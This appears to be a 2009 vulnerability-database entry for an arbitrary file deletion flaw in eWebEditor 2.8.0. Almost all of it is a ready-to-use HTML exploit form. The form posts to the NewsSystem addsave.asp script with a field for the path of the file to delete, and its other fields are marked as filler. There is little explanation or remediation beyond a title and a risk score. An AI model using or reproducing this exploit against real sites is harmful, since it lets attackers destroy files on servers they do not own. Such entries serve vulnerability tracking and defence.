Ewebeditor2.8.0最终版删除任意文件漏洞

🗓️ 14 Feb 2009 00:00:00Reported by RootType

Ewebeditor2.8.0 delete arbitrary file vulnerability in Example\NewsSystem director


                                                HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;eWebEditor删除文件 by:oldjun(http://www.oldjun.com)&lt;/TITLE&gt;
&lt;style&gt;body,p,td,input {font-size:9pt}&lt;/style&gt;
&lt;/HEAD&gt;&lt;BODY&gt;&lt;a href='list.asp'&gt;新闻列表&lt;/a&gt; | &lt;a href='add.asp'&gt;增加新闻&lt;/a&gt;

&lt;b&gt;增加新闻&lt;/b&gt;

&lt;form action=&quot;http://127.0.0.1/editor/Example/NewsSystem/addsave.asp&quot;
method=&quot;post&quot; name=&quot;myform&quot;&gt;
&lt;input type=hidden name=d_originalfilename&gt;
&lt;input type=hidden name=d_savefilename&gt;
&lt;table cellspacing=3 align=center&gt;
&lt;tr&gt;&lt;td&gt;要删的文件(相对路径就可以了)：&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;d_savepathfilename&quot; value=&quot;&quot; size=&quot;90&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;新闻标题(随便填)：&lt;/td&gt;
&lt;td&gt;&lt;input type=&quot;text&quot; name=&quot;d_title&quot; value=&quot;&quot; size=&quot;90&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;标题图片：&lt;/td&gt;
&lt;td&gt;&lt;select name=&quot;d_picture&quot; size=1&gt;&lt;option value=''&gt;无&lt;/option&gt;&lt;/select&gt;
当编辑区有插入图片时，将自动填充此下拉框&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;新闻内容(随便填)：&lt;/td&gt;
&lt;td&gt;&lt;textarea name=&quot;d_content&quot;&gt;&lt;/textarea&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;

&lt;input type=submit name=btnSubmit value=&quot; 提 交 &quot;&gt;
&lt;input type=reset name=btnReset value=&quot; 重 填 &quot;&gt;
&lt;/form&gt;
&lt;/BODY&gt;&lt;/HTML&gt;

14 Feb 2009 00:00Current

7.1High risk

Vulners AI Score7.1